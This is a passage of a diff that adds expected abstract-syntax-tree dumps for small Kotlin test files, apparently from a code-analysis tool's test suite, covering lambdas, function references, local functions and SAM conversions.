+#   51|                     0: [ReturnStmt] return ...
+#   51|                       0: [ClassInstanceExpr] new FuncRef(...)
+#   51|                         -3: [TypeAccess] FuncRef
+#   51|               -3: [TypeAccess] Function0<FuncRef>
+#   51|                 0: [TypeAccess] FuncRef
+#   58|     14: [Method] fn
+#-----|       2: (Generic Parameters)
+#   58|         0: [TypeVariable] T
+#   58|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   58|         0: [Parameter] l
+#   58|           0: [TypeAccess] Function0<T>
+#   58|             0: [TypeAccess] T
+#   58|       5: [BlockStmt] { ... }
+#   59|     15: [ExtensionMethod] f3
+#   59|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   59|         0: [Parameter] <this>
+#   59|           0: [TypeAccess] int
+#   59|         1: [Parameter] a
+#   59|           0: [TypeAccess] int
+#   59|       5: [BlockStmt] { ... }
+#   59|         0: [ReturnStmt] return ...
+#   59|           0: [IntegerLiteral] 5
+#   54|   2: [Class] MyLambda
+#   54|     1: [Constructor] MyLambda
+#   54|       5: [BlockStmt] { ... }
+#   54|         0: [SuperConstructorInvocationStmt] super(...)
+#   54|         1: [BlockStmt] { ... }
+#   55|     2: [Method] invoke
+#   55|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   55|         0: [Parameter] x
+#   55|           0: [TypeAccess] int
+#   55|       5: [BlockStmt] { ... }
+#   55|         0: [ReturnStmt] return ...
+#   55|           0: [IntegerLiteral] 5
+#   61|   3: [Class] FuncRef
+#   61|     1: [Constructor] FuncRef
+#   61|       5: [BlockStmt] { ... }
+#   61|         0: [SuperConstructorInvocationStmt] super(...)
+#   61|         1: [BlockStmt] { ... }
+#   62|     2: [Class] Companion
+#   62|       1: [Constructor] Companion
+#   62|         5: [BlockStmt] { ... }
+#   62|           0: [SuperConstructorInvocationStmt] super(...)
+#   62|           1: [BlockStmt] { ... }
+#   63|       2: [Method] f0
+#   63|         3: [TypeAccess] int
+#   63|         5: [BlockStmt] { ... }
+#   63|           0: [ReturnStmt] return ...
+#   63|             0: [IntegerLiteral] 5
+#   65|     3: [Method] f0
+#   65|       3: [TypeAccess] int
+#   65|       5: [BlockStmt] { ... }
+#   65|         0: [ReturnStmt] return ...
+#   65|           0: [IntegerLiteral] 5
+#   66|     4: [Method] f1
+#   66|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   66|         0: [Parameter] a
+#   66|           0: [TypeAccess] int
+#   66|       5: [BlockStmt] { ... }
+#   66|         0: [ReturnStmt] return ...
+#   66|           0: [IntegerLiteral] 5
+#   67|     5: [Method] f22
+#   67|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   67|         0: [Parameter] a0
+#   67|           0: [TypeAccess] int
+#   67|         1: [Parameter] a1
+#   67|           0: [TypeAccess] int
+#   67|         2: [Parameter] a2
+#   67|           0: [TypeAccess] int
+#   67|         3: [Parameter] a3
+#   67|           0: [TypeAccess] int
+#   67|         4: [Parameter] a4
+#   67|           0: [TypeAccess] int
+#   67|         5: [Parameter] a5
+#   67|           0: [TypeAccess] int
+#   67|         6: [Parameter] a6
+#   67|           0: [TypeAccess] int
+#   67|         7: [Parameter] a7
+#   67|           0: [TypeAccess] int
+#   67|         8: [Parameter] a8
+#   67|           0: [TypeAccess] int
+#   67|         9: [Parameter] a9
+#   67|           0: [TypeAccess] int
+#   67|         10: [Parameter] a10
+#   67|           0: [TypeAccess] int
+#   68|         11: [Parameter] a11
+#   68|           0: [TypeAccess] int
+#   68|         12: [Parameter] a12
+#   68|           0: [TypeAccess] int
+#   68|         13: [Parameter] a13
+#   68|           0: [TypeAccess] int
+#   68|         14: [Parameter] a14
+#   68|           0: [TypeAccess] int
+#   68|         15: [Parameter] a15
+#   68|           0: [TypeAccess] int
+#   68|         16: [Parameter] a16
+#   68|           0: [TypeAccess] int
+#   68|         17: [Parameter] a17
+#   68|           0: [TypeAccess] int
+#   68|         18: [Parameter] a18
+#   68|           0: [TypeAccess] int
+#   68|         19: [Parameter] a19
+#   68|           0: [TypeAccess] int
+#   68|         20: [Parameter] a20
+#   68|           0: [TypeAccess] int
+#   68|         21: [Parameter] a21
+#   68|           0: [TypeAccess] int
+#   68|       5: [BlockStmt] { ... }
+#   69|     6: [Method] f23
+#   69|       3: [TypeAccess] String
+#-----|       4: (Parameters)
+#   69|         0: [Parameter] a0
+#   69|           0: [TypeAccess] int
+#   69|         1: [Parameter] a1
+#   69|           0: [TypeAccess] int
+#   69|         2: [Parameter] a2
+#   69|           0: [TypeAccess] int
+#   69|         3: [Parameter] a3
+#   69|           0: [TypeAccess] int
+#   69|         4: [Parameter] a4
+#   69|           0: [TypeAccess] int
+#   69|         5: [Parameter] a5
+#   69|           0: [TypeAccess] int
+#   69|         6: [Parameter] a6
+#   69|           0: [TypeAccess] int
+#   69|         7: [Parameter] a7
+#   69|           0: [TypeAccess] int
+#   69|         8: [Parameter] a8
+#   69|           0: [TypeAccess] int
+#   69|         9: [Parameter] a9
+#   69|           0: [TypeAccess] int
+#   69|         10: [Parameter] a10
+#   69|           0: [TypeAccess] int
+#   70|         11: [Parameter] a11
+#   70|           0: [TypeAccess] int
+#   70|         12: [Parameter] a12
+#   70|           0: [TypeAccess] int
+#   70|         13: [Parameter] a13
+#   70|           0: [TypeAccess] int
+#   70|         14: [Parameter] a14
+#   70|           0: [TypeAccess] int
+#   70|         15: [Parameter] a15
+#   70|           0: [TypeAccess] int
+#   70|         16: [Parameter] a16
+#   70|           0: [TypeAccess] int
+#   70|         17: [Parameter] a17
+#   70|           0: [TypeAccess] int
+#   70|         18: [Parameter] a18
+#   70|           0: [TypeAccess] int
+#   70|         19: [Parameter] a19
+#   70|           0: [TypeAccess] int
+#   70|         20: [Parameter] a20
+#   70|           0: [TypeAccess] int
+#   70|         21: [Parameter] a21
+#   70|           0: [TypeAccess] int
+#   70|         22: [Parameter] a22
+#   70|           0: [TypeAccess] int
+#   70|       5: [BlockStmt] { ... }
+#   70|         0: [ReturnStmt] return ...
+#   70|           0: [StringLiteral] 
+#   73|   4: [Class] Class3
+#   73|     3: [Constructor] Class3
+#   73|       5: [BlockStmt] { ... }
+#   73|         0: [SuperConstructorInvocationStmt] super(...)
+#   73|         1: [BlockStmt] { ... }
+#   74|     4: [Method] call
+#   74|       3: [TypeAccess] Unit
+#   74|       5: [BlockStmt] { ... }
+#   75|         0: [ExprStmt] <Expr>;
+#   75|           0: [MethodAccess] fn(...)
+#   75|             -1: [ThisAccess] this
+#   75|             0: [LambdaExpr] ...->...
+#   75|               -4: [AnonymousClass] new Function1<Generic<Generic<Integer>>,String>(...) { ... }
+#   75|                 1: [Constructor] 
+#   75|                   5: [BlockStmt] { ... }
+#   75|                     0: [SuperConstructorInvocationStmt] super(...)
+#   75|                 1: [Method] invoke
+#   75|                   3: [TypeAccess] String
+#-----|                   4: (Parameters)
+#   75|                     0: [Parameter] a
+#   75|                       0: [TypeAccess] Generic<Generic<Integer>>
+#   75|                         0: [TypeAccess] Generic<Integer>
+#   75|                           0: [TypeAccess] Integer
+#   75|                   5: [BlockStmt] { ... }
+#   75|                     0: [ReturnStmt] return ...
+#   75|                       0: [StringLiteral] a
+#   75|               -3: [TypeAccess] Function1<Generic<Generic<Integer>>,String>
+#   75|                 0: [TypeAccess] Generic<Generic<Integer>>
+#   75|                   0: [TypeAccess] Generic<Integer>
+#   75|                     0: [TypeAccess] Integer
+#   75|                 1: [TypeAccess] String
+#   77|     5: [Method] fn
+#   77|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   77|         0: [Parameter] f
+#   77|           0: [TypeAccess] Function1<Generic<Generic<Integer>>,String>
+#   77|             0: [TypeAccess] Generic<Generic<Integer>>
+#   77|               0: [TypeAccess] Generic<Integer>
+#   77|                 0: [TypeAccess] Integer
+#   77|             1: [TypeAccess] String
+#   77|       5: [BlockStmt] { ... }
+#   79|     6: [Class,GenericType,ParameterizedType] Generic
+#-----|       -2: (Generic Parameters)
+#   79|         0: [TypeVariable] T
+#   79|       1: [Constructor] Generic
+#   79|         5: [BlockStmt] { ... }
+#   79|           0: [SuperConstructorInvocationStmt] super(...)
+#   79|           1: [BlockStmt] { ... }
+kFunctionInvoke.kt:
+#    0| [CompilationUnit] kFunctionInvoke
+#    0|   1: [Class] KFunctionInvokeKt
+#    7|     1: [Method] useRef
+#    7|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    7|         0: [Parameter] a
+#    7|           0: [TypeAccess] A
+#    7|         1: [Parameter] s
+#    7|           0: [TypeAccess] String
+#    7|       5: [BlockStmt] { ... }
+#    8|         0: [LocalVariableDeclStmt] var ...;
+#    8|           1: [LocalVariableDeclExpr] toCall
+#    8|             0: [MemberRefExpr] ...::...
+#    8|               -4: [AnonymousClass] new Function1<String,Unit>(...) { ... }
+#    8|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#    8|                     0: [Parameter] <dispatchReceiver>
+#    8|                   5: [BlockStmt] { ... }
+#    8|                     0: [SuperConstructorInvocationStmt] super(...)
+#    8|                     1: [ExprStmt] <Expr>;
+#    8|                       0: [AssignExpr] ...=...
+#    8|                         0: [VarAccess] this.<dispatchReceiver>
+#    8|                           -1: [ThisAccess] this
+#    8|                         1: [VarAccess] <dispatchReceiver>
+#    8|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#    8|                     0: [Parameter] a0
+#    8|                   5: [BlockStmt] { ... }
+#    8|                     0: [ReturnStmt] return ...
+#    8|                       0: [MethodAccess] f(...)
+#    8|                         -1: [VarAccess] this.<dispatchReceiver>
+#    8|                           -1: [ThisAccess] this
+#    8|                         0: [VarAccess] a0
+#    8|                 1: [FieldDeclaration] A <dispatchReceiver>;
+#    8|                   -1: [TypeAccess] A
+#    8|               -3: [TypeAccess] Function1<String,Unit>
+#    8|                 0: [TypeAccess] String
+#    8|                 1: [TypeAccess] Unit
+#    8|               0: [VarAccess] a
+#    9|         1: [ExprStmt] <Expr>;
+#    9|           0: [MethodAccess] invoke(...)
+#    9|             -1: [VarAccess] toCall
+#    9|             0: [VarAccess] s
+#    3|   2: [Class] A
+#    3|     1: [Constructor] A
+#    3|       5: [BlockStmt] { ... }
+#    3|         0: [SuperConstructorInvocationStmt] super(...)
+#    3|         1: [BlockStmt] { ... }
+#    4|     2: [Method] f
+#    4|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    4|         0: [Parameter] s
+#    4|           0: [TypeAccess] String
+#    4|       5: [BlockStmt] { ... }
+localFunctionCalls.kt:
+#    0| [CompilationUnit] localFunctionCalls
+#    0|   1: [Class] LocalFunctionCallsKt
+#    3|     1: [Method] x
+#    3|       3: [TypeAccess] Unit
+#    3|       5: [BlockStmt] { ... }
+#    4|         0: [LocalVariableDeclStmt] var ...;
+#    4|           1: [LocalVariableDeclExpr] x
+#    4|             0: [IntegerLiteral] 5
+#    5|         1: [LocalTypeDeclStmt] class ...
+#    5|           0: [LocalClass] 
+#    5|             1: [Constructor] 
+#    5|               5: [BlockStmt] { ... }
+#    5|                 0: [SuperConstructorInvocationStmt] super(...)
+#    5|             1: [Method] a
+#-----|               2: (Generic Parameters)
+#    5|                 0: [TypeVariable] T
+#    5|               3: [TypeAccess] int
+#-----|               4: (Parameters)
+#    5|                 0: [Parameter] i
+#    5|                   0: [TypeAccess] int
+#    5|               5: [BlockStmt] { ... }
+#    5|                 0: [ReturnStmt] return ...
+#    5|                   0: [AddExpr] ... + ...
+#    5|                     0: [VarAccess] i
+#    5|                     1: [VarAccess] x
+#    6|         2: [ExprStmt] <Expr>;
+#    6|           0: [AssignExpr] ...=...
+#    6|             0: [VarAccess] x
+#    6|             1: [IntegerLiteral] 6
+#    7|         3: [ExprStmt] <Expr>;
+#    7|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    7|             0: [TypeAccess] Unit
+#    7|             1: [MethodAccess] a(...)
+#    7|               -2: [TypeAccess] String
+#    7|               -1: [ClassInstanceExpr] new (...)
+#    7|                 -3: [TypeAccess] Object
+#    7|               0: [IntegerLiteral] 42
+#    8|         4: [ExprStmt] <Expr>;
+#    8|           0: [AssignExpr] ...=...
+#    8|             0: [VarAccess] x
+#    8|             1: [IntegerLiteral] 7
+#    9|         5: [LocalTypeDeclStmt] class ...
+#    9|           0: [LocalClass] 
+#    9|             1: [Constructor] 
+#    9|               5: [BlockStmt] { ... }
+#    9|                 0: [SuperConstructorInvocationStmt] super(...)
+#    9|             1: [ExtensionMethod] f1
+#-----|               2: (Generic Parameters)
+#    9|                 0: [TypeVariable] T1
+#    9|               3: [TypeAccess] int
+#-----|               4: (Parameters)
+#    9|                 0: [Parameter] <this>
+#    9|                   0: [TypeAccess] C1<T1>
+#    9|                     0: [TypeAccess] T1
+#    9|                 1: [Parameter] i
+#    9|                   0: [TypeAccess] int
+#    9|               5: [BlockStmt] { ... }
+#    9|                 0: [ReturnStmt] return ...
+#    9|                   0: [IntegerLiteral] 5
+#   10|         6: [ExprStmt] <Expr>;
+#   10|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   10|             0: [TypeAccess] Unit
+#   10|             1: [MethodAccess] f1(...)
+#   10|               -2: [TypeAccess] Integer
+#   10|               -1: [ClassInstanceExpr] new (...)
+#   10|                 -3: [TypeAccess] Object
+#   10|               0: [ClassInstanceExpr] new C1<Integer>(...)
+#   10|                 -3: [TypeAccess] C1<Integer>
+#   10|                   0: [TypeAccess] Integer
+#   10|               1: [IntegerLiteral] 42
+#   11|         7: [ExprStmt] <Expr>;
+#   11|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   11|             0: [TypeAccess] Unit
+#   11|             1: [MethodAccess] f1(...)
+#   11|               -2: [TypeAccess] Integer
+#   11|               -1: [ClassInstanceExpr] new (...)
+#   11|                 -3: [TypeAccess] Object
+#   11|               0: [ClassInstanceExpr] new C1<Integer>(...)
+#   11|                 -3: [TypeAccess] C1<Integer>
+#   11|                   0: [TypeAccess] Integer
+#   11|               1: [IntegerLiteral] 42
+#   14|   2: [Class,GenericType,ParameterizedType] C1
+#-----|     -2: (Generic Parameters)
+#   14|       0: [TypeVariable] T
+#   14|     1: [Constructor] C1
+#   14|       5: [BlockStmt] { ... }
+#   14|         0: [SuperConstructorInvocationStmt] super(...)
+#   14|         1: [BlockStmt] { ... }
+samConversion.kt:
+#    0| [CompilationUnit] samConversion
+#    0|   1: [Class] SamConversionKt
+#    1|     1: [Method] main
+#    1|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] b
+#    1|           0: [TypeAccess] boolean
+#    1|       5: [BlockStmt] { ... }
+#    2|         0: [LocalVariableDeclStmt] var ...;
+#    2|           1: [LocalVariableDeclExpr] isEven
+#    2|             0: [CastExpr] (...)...
+#    2|               0: [TypeAccess] IntPredicate
+#    2|               1: [ClassInstanceExpr] new (...)
+#    2|                 -4: [AnonymousClass] new IntPredicate(...) { ... }
+#    2|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#    2|                       0: [Parameter] <fn>
+#    2|                     5: [BlockStmt] { ... }
+#    2|                       0: [SuperConstructorInvocationStmt] super(...)
+#    2|                       1: [ExprStmt] <Expr>;
+#    2|                         0: [AssignExpr] ...=...
+#    2|                           0: [VarAccess] this.<fn>
+#    2|                             -1: [ThisAccess] this
+#    2|                           1: [VarAccess] <fn>
+#    2|                   1: [Method] accept
+#    2|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#    2|                       0: [Parameter] i
+#    2|                         0: [TypeAccess] int
+#    2|                     5: [BlockStmt] { ... }
+#    2|                       0: [ReturnStmt] return ...
+#    2|                         0: [MethodAccess] invoke(...)
+#    2|                           -1: [VarAccess] <fn>
+#    2|                           0: [VarAccess] i
+#    2|                   1: [FieldDeclaration] Function1<Integer,Boolean> <fn>;
+#    2|                     -1: [TypeAccess] Function1<Integer,Boolean>
+#    2|                       0: [TypeAccess] Integer
+#    2|                       1: [TypeAccess] Boolean
+#    2|                 -3: [TypeAccess] IntPredicate
+#    2|                 0: [LambdaExpr] ...->...
+#    2|                   -4: [AnonymousClass] new Function1<Integer,Boolean>(...) { ... }
+#    2|                     1: [Constructor] 
+#    2|                       5: [BlockStmt] { ... }
+#    2|                         0: [SuperConstructorInvocationStmt] super(...)
+#    2|                     1: [Method] invoke
+#    2|                       3: [TypeAccess] boolean
+#-----|                       4: (Parameters)
+#    2|                         0: [Parameter] it
+#    2|                           0: [TypeAccess] int
+#    2|                       5: [BlockStmt] { ... }
+#    2|                         0: [ReturnStmt] return ...
+#    2|                           0: [ValueEQExpr] ... (value equals) ...
+#    2|                             0: [RemExpr] ... % ...
+#    2|                               0: [VarAccess] it
+#    2|                               1: [IntegerLiteral] 2
+#    2|                             1: [IntegerLiteral] 0
+#    2|                   -3: [TypeAccess] Function1<Integer,Boolean>
+#    2|                     0: [TypeAccess] Integer
+#    2|                     1: [TypeAccess] Boolean
+#    4|         1: [LocalVariableDeclStmt] var ...;
+#    4|           1: [LocalVariableDeclExpr] i0
+#    4|             0: [CastExpr] (...)...
+#    4|               0: [TypeAccess] InterfaceFn1
+#    4|               1: [ClassInstanceExpr] new (...)
+#    4|                 -4: [AnonymousClass] new InterfaceFn1(...) { ... }
+#    4|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#    4|                       0: [Parameter] <fn>
+#    4|                     5: [BlockStmt] { ... }
+#    4|                       0: [SuperConstructorInvocationStmt] super(...)
+#    4|                       1: [ExprStmt] <Expr>;
+#    4|                         0: [AssignExpr] ...=...
+#    4|                           0: [VarAccess] this.<fn>
+#    4|                             -1: [ThisAccess] this
+#    4|                           1: [VarAccess] <fn>
+#    4|                   1: [Method] fn1
+#    4|                     3: [TypeAccess] Unit
+#-----|                     4: (Parameters)
+#    4|                       0: [Parameter] i
+#    4|                         0: [TypeAccess] int
+#    4|                       1: [Parameter] j
+#    4|                         0: [TypeAccess] int
+#    4|                     5: [BlockStmt] { ... }
+#    4|                       0: [ReturnStmt] return ...
+#    4|                         0: [MethodAccess] invoke(...)
+#    4|                           -1: [VarAccess] <fn>
+#    4|                           0: [VarAccess] i
+#    4|                           1: [VarAccess] j
+#    4|                   1: [FieldDeclaration] Function2<Integer,Integer,Unit> <fn>;
+#    4|                     -1: [TypeAccess] Function2<Integer,Integer,Unit>
+#    4|                       0: [TypeAccess] Integer
+#    4|                       1: [TypeAccess] Integer
+#    4|                       2: [TypeAccess] Unit
+#    4|                 -3: [TypeAccess] InterfaceFn1
+#    4|                 0: [LambdaExpr] ...->...
+#    4|                   -4: [AnonymousClass] new Function2<Integer,Integer,Unit>(...) { ... }
+#    4|                     1: [Constructor] 
+#    4|                       5: [BlockStmt] { ... }
+#    4|                         0: [SuperConstructorInvocationStmt] super(...)
+#    4|                     1: [Method] invoke
+#    4|                       3: [TypeAccess] Unit
+#-----|                       4: (Parameters)
+#    4|                         0: [Parameter] a
+#    4|                           0: [TypeAccess] int
+#    4|                         1: [Parameter] b
+#    4|                           0: [TypeAccess] int
+#    4|                       5: [BlockStmt] { ... }
+#    4|                         0: [ExprStmt] <Expr>;
+#    4|                           0: [VarAccess] INSTANCE
+#    4|                   -3: [TypeAccess] Function2<Integer,Integer,Unit>
+#    4|                     0: [TypeAccess] Integer
+#    4|                     1: [TypeAccess] Integer
+#    4|                     2: [TypeAccess] Unit
+#    5|         2: [LocalVariableDeclStmt] var ...;
+#    5|           1: [LocalVariableDeclExpr] i1
+#    5|             0: [CastExpr] (...)...
+#    5|               0: [TypeAccess] InterfaceFn1
+#    5|               1: [ClassInstanceExpr] new (...)
+#    5|                 -4: [AnonymousClass] new InterfaceFn1(...) { ... }
+#    5|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#    5|                       0: [Parameter] <fn>
+#    5|                     5: [BlockStmt] { ... }
+#    5|                       0: [SuperConstructorInvocationStmt] super(...)
+#    5|                       1: [ExprStmt] <Expr>;
+#    5|                         0: [AssignExpr] ...=...
+#    5|                           0: [VarAccess] this.<fn>
+#    5|                             -1: [ThisAccess] this
+#    5|                           1: [VarAccess] <fn>
+#    5|                   1: [Method] fn1
+#    5|                     3: [TypeAccess] Unit
+#-----|                     4: (Parameters)
+#    5|                       0: [Parameter] i
+#    5|                         0: [TypeAccess] int
+#    5|                       1: [Parameter] j
+#    5|                         0: [TypeAccess] int
+#    5|                     5: [BlockStmt] { ... }
+#    5|                       0: [ReturnStmt] return ...
+#    5|                         0: [MethodAccess] invoke(...)
+#    5|                           -1: [VarAccess] <fn>
+#    5|                           0: [VarAccess] i
+#    5|                           1: [VarAccess] j
+#    5|                   1: [FieldDeclaration] Function2<Integer,Integer,Unit> <fn>;
+#    5|                     -1: [TypeAccess] Function2<Integer,Integer,Unit>
+#    5|                       0: [TypeAccess] Integer
+#    5|                       1: [TypeAccess] Integer
+#    5|                       2: [TypeAccess] Unit
+#    5|                 -3: [TypeAccess] InterfaceFn1
+#    5|                 0: [MemberRefExpr] ...::...
+#    5|                   -4: [AnonymousClass] new Function2<Integer,Integer,Unit>(...) { ... }
+#    5|                     1: [Constructor] 
+#    5|                       5: [BlockStmt] { ... }
+#    5|                         0: [SuperConstructorInvocationStmt] super(...)
+#    5|                     1: [Method] invoke
+#-----|                       4: (Parameters)
+#    5|                         0: [Parameter] a0
+#    5|                         1: [Parameter] a1
+#    5|                       5: [BlockStmt] { ... }
+#    5|                         0: [ReturnStmt] return ...
+#    5|                           0: [MethodAccess] fn2(...)
+#    5|                             -1: [TypeAccess] SamConversionKt
+#    5|                             0: [VarAccess] a0
+#    5|                             1: [VarAccess] a1
+#    5|                   -3: [TypeAccess] Function2<Integer,Integer,Unit>
+#    5|                     0: [TypeAccess] Integer
+#    5|                     1: [TypeAccess] Integer
+#    5|                     2: [TypeAccess] Unit
+#    7|         3: [LocalVariableDeclStmt] var ...;
+#    7|           1: [LocalVariableDeclExpr] i
+#    7|             0: [CastExpr] (...)...
+#    7|               0: [TypeAccess] InterfaceFnExt1
+#    7|               1: [ClassInstanceExpr] new (...)
+#    7|                 -4: [AnonymousClass] new InterfaceFnExt1(...) { ... }
+#    7|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#    7|                       0: [Parameter] <fn>
+#    7|                     5: [BlockStmt] { ... }
+#    7|                       0: [SuperConstructorInvocationStmt] super(...)
+#    7|                       1: [ExprStmt] <Expr>;
+#    7|                         0: [AssignExpr] ...=...
+#    7|                           0: [VarAccess] this.<fn>
+#    7|                             -1: [ThisAccess] this
+#    7|                           1: [VarAccess] <fn>
+#    7|                   1: [ExtensionMethod] ext
+#    7|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#    7|                       0: [Parameter] <this>
+#    7|                         0: [TypeAccess] String
+#    7|                       1: [Parameter] i
+#    7|                         0: [TypeAccess] int
+#    7|                     5: [BlockStmt] { ... }
+#    7|                       0: [ReturnStmt] return ...
+#    7|                         0: [MethodAccess] invoke(...)
+#    7|                           -1: [VarAccess] <fn>
+#    7|                           0: [ExtensionReceiverAccess] this
+#    7|                           1: [VarAccess] i
+#    7|                   1: [FieldDeclaration] Function2<String,Integer,Boolean> <fn>;
+#    7|                     -1: [TypeAccess] Function2<String,Integer,Boolean>
+#    7|                       0: [TypeAccess] String
+#    7|                       1: [TypeAccess] Integer
+#    7|                       2: [TypeAccess] Boolean
+#    7|                 -3: [TypeAccess] InterfaceFnExt1
+#    7|                 0: [LambdaExpr] ...->...
+#    7|                   -4: [AnonymousClass] new Function2<String,Integer,Boolean>(...) { ... }
+#    7|                     1: [Constructor] 
+#    7|                       5: [BlockStmt] { ... }
+#    7|                         0: [SuperConstructorInvocationStmt] super(...)
+#    7|                     1: [ExtensionMethod] invoke
+#    7|                       3: [TypeAccess] boolean
+#-----|                       4: (Parameters)
+#    7|                         0: [Parameter] $this$InterfaceFnExt1
+#    7|                           0: [TypeAccess] String
+#    7|                         1: [Parameter] i
+#    7|                           0: [TypeAccess] int
+#    7|                       5: [BlockStmt] { ... }
+#    7|                         0: [ReturnStmt] return ...
+#    7|                           0: [ValueEQExpr] ... (value equals) ...
+#    7|                             0: [ExtensionReceiverAccess] this
+#    7|                             1: [StringLiteral] 
+#    7|                   -3: [TypeAccess] Function2<String,Integer,Boolean>
+#    7|                     0: [TypeAccess] String
+#    7|                     1: [TypeAccess] Integer
+#    7|                     2: [TypeAccess] Boolean
+#    9|         4: [LocalVariableDeclStmt] var ...;
+#    9|           1: [LocalVariableDeclExpr] x
+#    9|             0: [CastExpr] (...)...
+#    9|               0: [TypeAccess] IntPredicate
+#    9|               1: [ClassInstanceExpr] new (...)
+#    9|                 -4: [AnonymousClass] new IntPredicate(...) { ... }
+#    9|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#    9|                       0: [Parameter] <fn>
+#    9|                     5: [BlockStmt] { ... }
+#    9|                       0: [SuperConstructorInvocationStmt] super(...)
+#    9|                       1: [ExprStmt] <Expr>;
+#    9|                         0: [AssignExpr] ...=...
+#    9|                           0: [VarAccess] this.<fn>
+#    9|                             -1: [ThisAccess] this
+#    9|                           1: [VarAccess] <fn>
+#    9|                   1: [Method] accept
+#    9|                     3: [TypeAccess] boolean
+#-----|                     4: (Parameters)
+#    9|                       0: [Parameter] i
+#    9|                         0: [TypeAccess] int
+#    9|                     5: [BlockStmt] { ... }
+#    9|                       0: [ReturnStmt] return ...
+#    9|                         0: [MethodAccess] invoke(...)
+#    9|                           -1: [VarAccess] <fn>
+#    9|                           0: [VarAccess] i
+#    9|                   1: [FieldDeclaration] Function1<Integer,Boolean> <fn>;
+#    9|                     -1: [TypeAccess] Function1<Integer,Boolean>
+#    9|                       0: [TypeAccess] Integer
+#    9|                       1: [TypeAccess] Boolean
+#    9|                 -3: [TypeAccess] IntPredicate
+#    9|                 0: [WhenExpr] when ...
+#    9|                   0: [WhenBranch] ... -> ...
+#    9|                     0: [VarAccess] b
+#    9|                     1: [ExprStmt] <Expr>;
+#    9|                       0: [LambdaExpr] ...->...
+#    9|                         -4: [AnonymousClass] new Function1<Integer,Boolean>(...) { ... }
+#    9|                           1: [Constructor] 
+#    9|                             5: [BlockStmt] { ... }
+#    9|                               0: [SuperConstructorInvocationStmt] super(...)
+#    9|                           1: [Method] invoke
+#    9|                             3: [TypeAccess] boolean
+#-----|                             4: (Parameters)
+#   10|                               0: [Parameter] j
+#   10|                                 0: [TypeAccess] int
+#   10|                             5: [BlockStmt] { ... }
+#   10|                               0: [ReturnStmt] return ...
+#   10|                                 0: [ValueEQExpr] ... (value equals) ...
+#   10|                                   0: [RemExpr] ... % ...
+#   10|                                     0: [VarAccess] j
+#   10|                                     1: [IntegerLiteral] 2
+#   10|                                   1: [IntegerLiteral] 0
+#    9|                         -3: [TypeAccess] Function1<Integer,Boolean>
+#    9|                           0: [TypeAccess] Integer
+#    9|                           1: [TypeAccess] Boolean
+#    9|                   1: [WhenBranch] ... -> ...
+#    9|                     0: [BooleanLiteral] true
+#   11|                     1: [ExprStmt] <Expr>;
+#   11|                       0: [LambdaExpr] ...->...
+#   11|                         -4: [AnonymousClass] new Function1<Integer,Boolean>(...) { ... }
+#   11|                           1: [Constructor] 
+#   11|                             5: [BlockStmt] { ... }
+#   11|                               0: [SuperConstructorInvocationStmt] super(...)
+#   11|                           1: [Method] invoke
+#   11|                             3: [TypeAccess] boolean
+#-----|                             4: (Parameters)
+#   12|                               0: [Parameter] j
+#   12|                                 0: [TypeAccess] int
+#   12|                             5: [BlockStmt] { ... }
+#   12|                               0: [ReturnStmt] return ...
+#   12|                                 0: [ValueEQExpr] ... (value equals) ...
+#   12|                                   0: [RemExpr] ... % ...
+#   12|                                     0: [VarAccess] j
+#   12|                                     1: [IntegerLiteral] 2
+#   12|                                   1: [IntegerLiteral] 1
+#   11|                         -3: [TypeAccess] Function1<Integer,Boolean>
+#   11|                           0: [TypeAccess] Integer
+#   11|                           1: [TypeAccess] Boolean
+#   20|     2: [Method] fn2
+#   20|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   20|         0: [Parameter] i
+#   20|           0: [TypeAccess] int
+#   20|         1: [Parameter] j
+#   20|           0: [TypeAccess] int
+#   20|       5: [BlockStmt] { ... }
+#   36|     3: [Method] ff
+#   36|       3: [TypeAccess] boolean
+#-----|       4: (Parameters)
+#   36|         0: [Parameter] i0
+#   36|           0: [TypeAccess] int
+#   36|         1: [Parameter] i1
+#   36|           0: [TypeAccess] int
+#   36|         2: [Parameter] i2
+#   36|           0: [TypeAccess] int
+#   36|         3: [Parameter] i3
+#   36|           0: [TypeAccess] int
+#   36|         4: [Parameter] i4
+#   36|           0: [TypeAccess] int
+#   36|         5: [Parameter] i5
+#   36|           0: [TypeAccess] int
+#   36|         6: [Parameter] i6
+#   36|           0: [TypeAccess] int
+#   36|         7: [Parameter] i7
+#   36|           0: [TypeAccess] int
+#   36|         8: [Parameter] i8
+#   36|           0: [TypeAccess] int
+#   36|         9: [Parameter] i9
+#   36|           0: [TypeAccess] int
+#   37|         10: [Parameter] i10
+#   37|           0: [TypeAccess] int
+#   37|         11: [Parameter] i11
+#   37|           0: [TypeAccess] int
+#   37|         12: [Parameter] i12
+#   37|           0: [TypeAccess] int
+#   37|         13: [Parameter] i13
+#   37|           0: [TypeAccess] int
+#   37|         14: [Parameter] i14
+#   37|           0: [TypeAccess] int
+#   37|         15: [Parameter] i15
+#   37|           0: [TypeAccess] int
+#   37|         16: [Parameter] i16
+#   37|           0: [TypeAccess] int
+#   37|         17: [Parameter] i17
+#   37|           0: [TypeAccess] int
+#   37|         18: [Parameter] i18
+#   37|           0: [TypeAccess] int
+#   37|         19: [Parameter] i19
+#   37|           0: [TypeAccess] int
+#   38|         20: [Parameter] i20
+#   38|           0: [TypeAccess] int
+#   38|         21: [Parameter] i21
